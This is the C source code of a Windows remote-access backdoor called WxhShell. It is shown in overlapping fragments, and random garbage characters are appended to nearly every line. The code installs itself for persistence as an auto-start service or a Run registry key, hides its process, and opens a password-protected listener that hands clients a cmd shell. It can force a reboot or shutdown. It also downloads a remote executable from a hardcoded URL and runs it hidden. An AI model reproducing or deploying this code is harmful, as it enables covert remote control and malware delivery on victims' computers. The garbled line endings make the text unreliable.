    if(Boot(SHUTDOWN)) FD&^nJ_{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J#ClQ%  
    else { qS"#jxc==+  
    closesocket(wsh); ]T)<@bmL  
    ExitThread(0); !dU$1:7  
    } t%J1(H  
    break; }}ic{931  
    } GNEPb?+T  
  // 获取shell $d!Vxm  
  case 's': { H5&._  
    CmdShell(wsh); (xoYYO  
    closesocket(wsh); uubIL +  
    ExitThread(0); KV$4}{  
    break; FvG?%IFM  
  } aWH  
  // 退出 ;E[Q/ tr:w  
  case 'x': { V"'PA-z3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p Pag@L  
    CloseIt(wsh); gu%i|-}  
    break; RjTGm=1w  
    } <P'FqQ]  
  // 离开 'TuaP `]<  
  case 'q': { !c{F{ t-a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $IjI{%  
    closesocket(wsh); U8y?S]}vo  
    WSACleanup(); R&&&RI3{  
    exit(1); Cl!(F 6K*  
    break; %?aq1 =B  
        } 2H0BNrYM  
  } <<E 9MIn_  
  } EU>`$M&w-  
^]'_Qbi]}  
  // 提示信息 esQ$.L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "tl$JbRTY  
} Ej 5_d  
  } bk;uKV+<  
RPte[tq  
  return; -`eB4j'7  
} kd\Hj~*  
l'aCpzf  
// shell模块句柄 w= n(2M56C  
int CmdShell(SOCKET sock) J 7G-qF\  
{ tq3Rc}  
STARTUPINFO si; OG$v"Yf~  
ZeroMemory(&si,sizeof(si)); @\XeRx;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ie(.T2K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _MLf58  
PROCESS_INFORMATION ProcessInfo; "om7 : d  
char cmdline[]="cmd"; 3+s$K(%I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pMy:h   
  return 0; "y&`,s5}  
} .UNV &R0  
!U>WAD9  
// 自身启动模式 vNrn]v=|}7  
int StartFromService(void) Z b$]9(RS  
{ Qubu;[0+a  
typedef struct 6]d]0TW_  
{ #v xq|$e  
  DWORD ExitStatus; 0V21_".S  
  DWORD PebBaseAddress; 7`&ISRU4  
  DWORD AffinityMask; {7@*cB qN  
  DWORD BasePriority; 1' v!~*af  
  ULONG UniqueProcessId; qy)~OBY  
  ULONG InheritedFromUniqueProcessId;  Owi/e  
}   PROCESS_BASIC_INFORMATION; ujS oWs  
n=C"pH#  
PROCNTQSIP NtQueryInformationProcess; m,!SD Cq  
 fFqYRK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %K-8DL8|(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '&B4Ccn<V  
H~nZ=`P9&  
  HANDLE             hProcess; FX|&o >S(8  
  PROCESS_BASIC_INFORMATION pbi; {&mH fN  
>h#w~@e::  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {.jW"0U  
  if(NULL == hInst ) return 0; \#t)B J2  
X(MS!RV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '!8-/nlv1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ocJG4#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RK &>!^  
*wj5(B<y  
  if (!NtQueryInformationProcess) return 0;  16~E  
FA$32*v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rf:H$\yw  
  if(!hProcess) return 0; HOFxOBV  
kDWEgnXK,v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7#%Pry  
LlO8]b!P-^  
  CloseHandle(hProcess); =urGs`\  
4}v|^_x-i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T-6<qh  
if(hProcess==NULL) return 0; BR@m*JGajz  
URrx7F98  
HMODULE hMod; B6k<#-HAT  
char procName[255]; 6X%g-aTs  
unsigned long cbNeeded; )3:0TFS}}k  
>>$`]]7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &k%>u[Bo  
/G'3!S  
  CloseHandle(hProcess); A8*zB=C  
tOLcnWt   
if(strstr(procName,"services")) return 1; // 以服务启动 tMX$8W0 c  
62qjU<Z  
  return 0; // 注册表启动 )j>U4a  
} ;VAyH('~  
79W^;\3  
// 主模块 ~r5S{&  
int StartWxhshell(LPSTR lpCmdLine) U>f'j;5  
{ ($[+dR  
  SOCKET wsl; @:9Gs!!  
BOOL val=TRUE; Gb\PubJ  
  int port=0; /0XMQy  
  struct sockaddr_in door; pcwYgq#5  
t'Wv? ,  
  if(wscfg.ws_autoins) Install(); E6-*2U)k+  
M lR~`B}m  
port=atoi(lpCmdLine); /z*Z+OT2  
O.(2  
if(port<=0) port=wscfg.ws_port; +K`A2&F9  
~s'tr&+  
  WSADATA data; kt978qfk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W H/.h$  
7<] EH:9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d9M[]{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c:Nm!+5_(  
  door.sin_family = AF_INET; 8$ u"92  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h7UNmwj  
  door.sin_port = htons(port); ~EPVu  
x~!|F5JbM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { % ERcFI]G  
closesocket(wsl); ;: 2U}p^-  
return 1; 1d<Uwb>  
} aY>v  
R; c9)>8L  
  if(listen(wsl,2) == INVALID_SOCKET) { kygw}|, N  
closesocket(wsl); g=56|G7n  
return 1; i#`q<+/q  
} \H@1VgmR;  
  Wxhshell(wsl); c_D(%Vf5  
  WSACleanup(); sE6>JaH  
*c94'Tcl  
return 0; *kl  :/#  
$}gM JG  
} VE|l;aXi  
#;j:;LRU  
// 以NT服务方式启动 TB! I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P.,U>m  
{ wwB3m&  
DWORD   status = 0; Lz'VQO1U=  
  DWORD   specificError = 0xfffffff; *7jz(iX  
0B]q /G(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +y?Ilkk;j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6(f 'P_*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yg^ &4ZF  
  serviceStatus.dwWin32ExitCode     = 0; Y#ZgrziYM  
  serviceStatus.dwServiceSpecificExitCode = 0; [7FG;}lB-  
  serviceStatus.dwCheckPoint       = 0; \:WWrY8&  
  serviceStatus.dwWaitHint       = 0; qJrT  
i.vH$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R}M ;, G  
  if (hServiceStatusHandle==0) return; IT_I.5*A2  
:eVZ5?F  
status = GetLastError(); =Xh)34q  
  if (status!=NO_ERROR) |h\7Q1,1~2  
{ AAevN3a#nI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tNi>TkC}`  
    serviceStatus.dwCheckPoint       = 0; U%nkPIFm  
    serviceStatus.dwWaitHint       = 0; <h7cQ  
    serviceStatus.dwWin32ExitCode     = status; ,RV qYh(-|  
    serviceStatus.dwServiceSpecificExitCode = specificError; _{Kmj,q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Cku"vVw,  
    return; -)`_w^Ox  
  } 5QMra5Nk  
%L+q:naZe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L=4+rshl!_  
  serviceStatus.dwCheckPoint       = 0; !mmMAsd,  
  serviceStatus.dwWaitHint       = 0; J,2V&WuV0r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZD]1C ~)  
} "La;$7ds  
r!mRUw'u  
// 处理NT服务事件,比如:启动、停止 f<Hi=Qpm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) li r=0oq<  
{ D(AH3`*|#  
switch(fdwControl) 5`QcPDp{z  
{ a[-!X7,IU  
case SERVICE_CONTROL_STOP: 69g{oo  
  serviceStatus.dwWin32ExitCode = 0; `t~jHe4!Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2s\ClT  
  serviceStatus.dwCheckPoint   = 0; f2i:I1 p("  
  serviceStatus.dwWaitHint     = 0; ]%' AZ`8  
  { Qd[_W^QI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BNu >/zGpB  
  } tJ\ $%  
  return; a#YK1n[!  
case SERVICE_CONTROL_PAUSE: zfeT>S+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !@ ^6/=  
  break; iVXt@[  
case SERVICE_CONTROL_CONTINUE: lK0ny>RB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [0 F~e  
  break; $.SBW=^V  
case SERVICE_CONTROL_INTERROGATE: \#{PV\x:Nn  
  break; @NiuT%#c  
}; \CL8~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ANM#Kx+  
} Ax;[Em?I  
2%W;#oi?  
// 标准应用程序主函数 H3A$YkK [  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2r, c{Ah@D  
{ 1qRquY  
qb>41j9_t  
// 获取操作系统版本 *NmY]  
OsIsNt=GetOsVer(); mlnF,+s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UerbNz|  
`^bP9X_a  
  // 从命令行安装 cm< #zu3~S  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8>&@"j  
XcVN{6-z  
  // 下载执行文件 qO#3{kW  
if(wscfg.ws_downexe) { B>,e HXW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cgg6E O(  
  WinExec(wscfg.ws_filenam,SW_HIDE); vrnvv?HPrR  
} _%w680b'  
j9p6 rD  
if(!OsIsNt) { #De>EQ%  
// 如果时win9x,隐藏进程并且设置为注册表启动 x[(6V'  
HideProc(); ?b (iWq  
StartWxhshell(lpCmdLine); PsC")JS  
} p}1i[//S  
else l4bytI{63  
  if(StartFromService()) 36 "n7  
  // 以服务方式启动 {213/@,  
  StartServiceCtrlDispatcher(DispatchTable); NAGM3{\5v$  
else |N.2iN:  
  // 普通方式启动 _f1o!4ocx  
  StartWxhshell(lpCmdLine); QL?_FwZL  
z 6:Wh  
return 0; 0HzqU31%l@  
} AkhG~L  
77P\:xc  
9LDv?kYr  
d54iZ`  
=========================================== @(t3<g  
=+zDE0Qs  
8Zr;n`~  
ul~ux$a  
&N~Eu-@b  
Q_5 l.M/9]  
" Qs6<(zaqkt  
,2@o`R.27  
#include <stdio.h>  :Sq] |)  
#include <string.h> )GD7 rsC`<  
#include <windows.h> PTQ#8(_,  
#include <winsock2.h> Ds9)e&yYrb  
#include <winsvc.h> `2lS@  
#include <urlmon.h> n6/Ous  
WyN ;lId  
#pragma comment (lib, "Ws2_32.lib") 0dch OUj  
#pragma comment (lib, "urlmon.lib") Z(mUU]  
\ TV  
#define MAX_USER   100 // 最大客户端连接数 Rs%`6et}\  
#define BUF_SOCK   200 // sock buffer LgqQr6y"  
#define KEY_BUFF   255 // 输入 buffer 2~4:rEPJ:  
AZj&;!}  
#define REBOOT     0   // 重启 C/kf?:j  
#define SHUTDOWN   1   // 关机 ~iL^KeAp   
uo9#(6  
#define DEF_PORT   5000 // 监听端口 Q]ersA8 V>  
|Y9>kXMl  
#define REG_LEN     16   // 注册表键长度 i'IT,jz !  
#define SVC_LEN     80   // NT服务名长度 g`Z=Y7jLH  
RRL{a6(?  
// 从dll定义API @!8aZB3odt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TEtmmp0OD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8q2a8I9g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qb536RpcTY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E&M(QX5  
c;l!i-  
// wxhshell配置信息 XiUq#84Q  
struct WSCFG { UP~28%>X  
  int ws_port;         // 监听端口 B*,6;lCjX  
  char ws_passstr[REG_LEN]; // 口令 AO#9XDEM  
  int ws_autoins;       // 安装标记, 1=yes 0=no YpZB-9Krf  
  char ws_regname[REG_LEN]; // 注册表键名 1"h"(dA  
  char ws_svcname[REG_LEN]; // 服务名 Jw)JV~/0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =pH2V^<<#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DI C*{aBf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a<cwrDZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no amBg<P`'_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !/FRL<mp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7=^{~5#  
Gm~([Ln{  
}; ohx[_}xN  
/ *0t_  
// default Wxhshell configuration 7^L  
struct WSCFG wscfg={DEF_PORT, f ,F X# _4  
    "xuhuanlingzhe", mZ)>^.N6  
    1, p3s i\Fm!  
    "Wxhshell", f ULt4  
    "Wxhshell", '{&Q&3J_  
            "WxhShell Service", RSX27fb4  
    "Wrsky Windows CmdShell Service", 9YzV48su#  
    "Please Input Your Password: ", #;[G>-tC  
  1, [vg&E )V  
  "http://www.wrsky.com/wxhshell.exe", oC0ndp~+&  
  "Wxhshell.exe" 56V|=MzX]  
    }; ;mQj2Bwr  
#]` uH{  
// 消息定义模块 fBSa8D3}`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  a"Qf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @]3 \*&R}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xw H>F7HPe  
char *msg_ws_ext="\n\rExit."; dC=[o\  
char *msg_ws_end="\n\rQuit."; t7=D$ua  
char *msg_ws_boot="\n\rReboot..."; 2Tp2{"sB>A  
char *msg_ws_poff="\n\rShutdown..."; S?~0)EXj(  
char *msg_ws_down="\n\rSave to "; a6{Zp{"Y  
I G1];vX  
char *msg_ws_err="\n\rErr!"; %rwvY`\  
char *msg_ws_ok="\n\rOK!"; uwe#& V-  
H:fKv7XL  
char ExeFile[MAX_PATH]; I}C2;[aB  
int nUser = 0; ddHl&+G  
HANDLE handles[MAX_USER]; JT+ c7W7  
int OsIsNt; f"6W ;b2L.  
dGKo!;7{  
SERVICE_STATUS       serviceStatus; n0(Q/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VAPeMO ck  
U]PB)  
// 函数声明 !~#zd]0x;  
int Install(void); pH '_k k  
int Uninstall(void); l\<.*6r  
int DownloadFile(char *sURL, SOCKET wsh); fO<40!%9cQ  
int Boot(int flag); gOF^?M11x  
void HideProc(void); p9v:T1 ?  
int GetOsVer(void); +nYFLe  
int Wxhshell(SOCKET wsl); d$!Q6ux;  
void TalkWithClient(void *cs); 0 R6:3fV6R  
int CmdShell(SOCKET sock); ?sN{U\  
int StartFromService(void); DDE-$)lf>  
int StartWxhshell(LPSTR lpCmdLine); 4 m:h&^`N  
X[BP0:`t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kR=sr/{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :So<N}&  
-FZC|[is  
// 数据结构和表定义 =?5)M_6)  
SERVICE_TABLE_ENTRY DispatchTable[] = FnvpnU",  
{ GJ9>i)+h;  
{wscfg.ws_svcname, NTServiceMain}, yD+4YD  
{NULL, NULL} 0Lo8pe`DH  
};  .NOAp  
HTQZIm  
// 自我安装 L(y70T  
int Install(void) l=?e0d>O  
{ (< +A  w7  
  char svExeFile[MAX_PATH]; (Pc>D';{S  
  HKEY key; Hw \of  
  strcpy(svExeFile,ExeFile); $/wm k7T  
e]4$H.dP  
// 如果是win9x系统,修改注册表设为自启动 $*q|}Tvl#  
if(!OsIsNt) { :ld~9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {'b;lA]0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y'U1=w~E  
  RegCloseKey(key); y:'Ns$+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gN/<g8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "*d6E}wG  
  RegCloseKey(key); YR?Y:?(  
  return 0; )qy?x7   
    } EBy7wU`S  
  } %"WENa/t  
} H4g8 1V=  
else { T^v763%  
VLXA6+  
// 如果是NT以上系统,安装为系统服务 |A&;m}(Mt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^r~[ 3NT  
if (schSCManager!=0) u*C*O4f>OC  
{ 64B.7S88  
  SC_HANDLE schService = CreateService 2Q6;SF"Z  
  ( gFR}WBl/  
  schSCManager, 9$)&b\D  
  wscfg.ws_svcname, 4*XNk;Dx  
  wscfg.ws_svcdisp, X4%uY  
  SERVICE_ALL_ACCESS, h>pu^ `hk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rqe. =+Qs  
  SERVICE_AUTO_START, v>8.TE~2  
  SERVICE_ERROR_NORMAL, En\@d@j<u  
  svExeFile, e,%|sAs[  
  NULL, _dKMBcl)E  
  NULL, | 6{JINW  
  NULL, yCQvo(V[F  
  NULL, sxT&T=7  
  NULL }#ink4dK:  
  ); WARiw[  
  if (schService!=0) ~.T|n =  
  { #)'Iqaq7  
  CloseServiceHandle(schService); a2P)@R  
  CloseServiceHandle(schSCManager); J 8 KiL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gX" -3w  
  strcat(svExeFile,wscfg.ws_svcname); |dR}S!fmG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M'%4BOpI6`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cKTjQJ#  
  RegCloseKey(key); h$8h@2%  
  return 0; v]EMJm6d|  
    } ~vXbh(MX  
  } CcQc!`YC  
  CloseServiceHandle(schSCManager); l8G1N[  
} x,C8):\t`B  
} bMK X9`*o  
J%?5d:iN+  
return 1; :i&]J$^;  
} [q|W*[B:@  
Ch]d\GM  
// 自我卸载 RJD{l+  
int Uninstall(void)  SCfp5W7~  
{ O}i+ 1  
  HKEY key; }U8v ~wcd  
/Bt!xSI  
if(!OsIsNt) { '8]p]#l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P2vG)u  
  RegDeleteValue(key,wscfg.ws_regname); ]@ruizb8  
  RegCloseKey(key); 8&U Mmbgy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1["i,8zB  
  RegDeleteValue(key,wscfg.ws_regname); ht>%O7  
  RegCloseKey(key); f-18nF7{  
  return 0; lk>\6o:  
  } *47/BLys<  
} W{-g?)Tou  
} h/n(  
else { y"yo\IDW  
V;eaQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +ydd"`  
if (schSCManager!=0) (tYZq86`  
{ A,F~*LXm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pl).U#7`  
  if (schService!=0) wH?)ZL  
  { g ` s|]VNt  
  if(DeleteService(schService)!=0) { x/?ET1iGt  
  CloseServiceHandle(schService); VgVDTWs7  
  CloseServiceHandle(schSCManager); a Vu!Qk=Z/  
  return 0; ?# w} S%  
  } '^TeV=  
  CloseServiceHandle(schService); p{5m5x  
  } & jqylX  
  CloseServiceHandle(schSCManager); O q$_ q  
} <yipy[D  
} %[|^7  
6C2~0b   
return 1; }@q/.Ct! x  
} s $Vv  
K.xABKPVc  
// 从指定url下载文件 y.A3hV%6b  
int DownloadFile(char *sURL, SOCKET wsh) v82wnP-~7  
{ qm$(_]R~`  
  HRESULT hr; }gQ2\6o2g  
char seps[]= "/"; 5hmfdj6  
char *token; DURWE,W>  
char *file; :e7\z  
char myURL[MAX_PATH]; [uU!\xe  
char myFILE[MAX_PATH]; 0o+Yjg>\~8  
'$OUe {j<  
strcpy(myURL,sURL); =|-= 4.b+|  
  token=strtok(myURL,seps); srf}+>u&  
  while(token!=NULL) 0S4BV%7F  
  { 6 ]x?2P%  
    file=token; G{!er:Vwdh  
  token=strtok(NULL,seps); FL{?W(M  
  } ^i%S}VK  
y;ElSt;S  
GetCurrentDirectory(MAX_PATH,myFILE); jn5xYKv  
strcat(myFILE, "\\"); 1*=ev,Z  
strcat(myFILE, file); tQ{/9bN?P  
  send(wsh,myFILE,strlen(myFILE),0); gQr+ ~O  
send(wsh,"...",3,0); hiS|&5#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nq{/fD(2  
  if(hr==S_OK) i"G'#n~e  
return 0; -qj[ck(y  
else es*$/A  
return 1; !uGfS' Vl  
To*+Z3Wd  
} -F7F 6!s  
S-Y{Vi"2  
// 系统电源模块 8Nzn%0(Q  
int Boot(int flag) `xzKRId0  
{ m,Y/ke\  
  HANDLE hToken; AU\=n,K7  
  TOKEN_PRIVILEGES tkp; _<c"/B  
B2[f1IMI  
  if(OsIsNt) { eS!]..%y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x/O;8^b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #tR:W?!  
    tkp.PrivilegeCount = 1; tQ9%rb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hH`x*:Qja  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U"7o;q  
if(flag==REBOOT) { fv7VDo8vb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  Lw\u{E@  
  return 0; rL-R-;Ca  
} */e$S[5  
else { BsFO]F5mmX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |1%% c %  
  return 0; %"f85VfZ  
} QDn_`c  
  } 6!]@ S|vDX  
  else { Tm`@5  
if(flag==REBOOT) { Yd3lL:M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o:#jvi84F  
  return 0; [k$GUU,jY  
} L~5f*LE$1  
else { G Uu8 N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DoczQc-U+  
  return 0; 9CS" s_  
} 'KjH|u  
} W_wC"?A%  
=u2~=t=LV  
return 1; +1wEoU.l2  
} W$jRS  
ug]2wftlQ  
// win9x进程隐藏模块 H}r]j\  
void HideProc(void) K ar!  
{ IER;d\_V<  
_zDS-e@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MX]#|hEeQ  
  if ( hKernel != NULL ) +(DzE H |  
  { fL| 9/sojz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P.>fkO1\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h.?<( I  
    FreeLibrary(hKernel); K-]) RIM  
  } C5(XZscq  
U)'YR$2<  
return; (^~a1@f,J  
} 9 5!xJdq  
OF*E1B M  
// 获取操作系统版本 5:38}p9`  
int GetOsVer(void) A@~9r9Uf  
{ qf K gNZ  
  OSVERSIONINFO winfo; @8c@H#H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "d-vs t5  
  GetVersionEx(&winfo); <!t;[ie?y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hD#Mhy5h  
  return 1; yE N3/-S+  
  else Z<|x6%  
  return 0; J,v024TM  
} y=9fuGL6  
rui 8x4c  
// 客户端句柄模块 v"2A?  
int Wxhshell(SOCKET wsl) J_+2]X7n  
{ ug}u>vQ>  
  SOCKET wsh; 6 [bQ'Ir^8  
  struct sockaddr_in client; q !}~c  
  DWORD myID; s-6$C  
`!X8Cn  
  while(nUser<MAX_USER) }`Wo(E}O  
{ y+^KVEw  
  int nSize=sizeof(client); 7lYf+&JZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,4,Bc<  
  if(wsh==INVALID_SOCKET) return 1; DIYR8l}x  
~d<&OL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n2o)K;wW+  
if(handles[nUser]==0) EFU)0IAL[  
  closesocket(wsh); "8) %XSb  
else Wt5pK[JV  
  nUser++; ?1|\(W#  
  } 0WZd$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I=Y_EjZ D  
0T@axQ[%  
  return 0; "\lO Op^-  
} Z @DDuVr  
E i2M~/  
// 关闭 socket 8YPX8d8u  
void CloseIt(SOCKET wsh) .LM|@OeaD!  
{ u>] )q7s  
closesocket(wsh); 25 U+L  
nUser--; 18j>x3tn  
ExitThread(0); ;*Mr(#R  
} _iA oNT!  
~md06"AYJ  
// 客户端请求句柄 Nw ,|4S  
void TalkWithClient(void *cs) xqDz*V/mD  
{ =(R3-['QIb  
^;{uop"DS  
  SOCKET wsh=(SOCKET)cs; # dUi['  
  char pwd[SVC_LEN]; nXuy&;5TL,  
  char cmd[KEY_BUFF]; Om;` "5  
char chr[1]; }YiFiGf,  
int i,j; 19[.&-u"  
`PLax@]2  
  while (nUser < MAX_USER) { J}bLp Z  
:"nh76xg<  
if(wscfg.ws_passstr) { 6xr%xk2E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [tC=P&<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); . Y!dO@$:  
  //ZeroMemory(pwd,KEY_BUFF); |rgPHRX^Hn  
      i=0; NTGWI$  
  while(i<SVC_LEN) { 6B b+f"  
oOLj? 0t  
  // 设置超时 g^#,!e  
  fd_set FdRead; Ofb&W AD  
  struct timeval TimeOut; "ChJR[4@  
  FD_ZERO(&FdRead); cUw$F{|W  
  FD_SET(wsh,&FdRead); A&jR-%JG  
  TimeOut.tv_sec=8; ^@Qc!(P  
  TimeOut.tv_usec=0; [s] ZT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D deKZ)8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L|'B*  
&:}WfY!hX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m,5?|J=  
  pwd=chr[0]; z 63y8  
  if(chr[0]==0xd || chr[0]==0xa) { F{ C2% s#  
  pwd=0; S*76V"")  
  break; wq8&2(|Fc  
  } V1Gnr~GM  
  i++; YKOj  
    } xbCQ^W2YU|  
rzvKvGd#N  
  // 如果是非法用户,关闭 socket r&F 6ZCw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `Hu2a]e9  
} %z~kHL  
D '% O<.m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }Q6o#oZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iG=Di)O  
6y^GMlsI  
while(1) { U?5G%o(q  
8WKY 4nkj  
  ZeroMemory(cmd,KEY_BUFF); j0{Qy;wP )  
e:rbyzf#  
      // 自动支持客户端 telnet标准   H%}/O;C  
  j=0; /?S^#q>m%  
  while(j<KEY_BUFF) { =u.23#.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 80o'=E}"  
  cmd[j]=chr[0]; ID{XZ  
  if(chr[0]==0xa || chr[0]==0xd) { a#9pN?~  
  cmd[j]=0; h7o.RRhK  
  break; cVr+Wp7K#|  
  } hR.vJ2oa  
  j++; !?|xeQ}  
    } Fw}|c  
Y; to9Kv$  
  // 下载文件 6mgLeeY  
  if(strstr(cmd,"http://")) { {:Kr't<XzF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,^DP  
  if(DownloadFile(cmd,wsh)) -YrMVoZl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?a1pO#{Dg  
  else } .<(L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }WBHuVcZG  
  } 4G XS(  
  else { h@y>QhYU0  
/{ W6]6^  
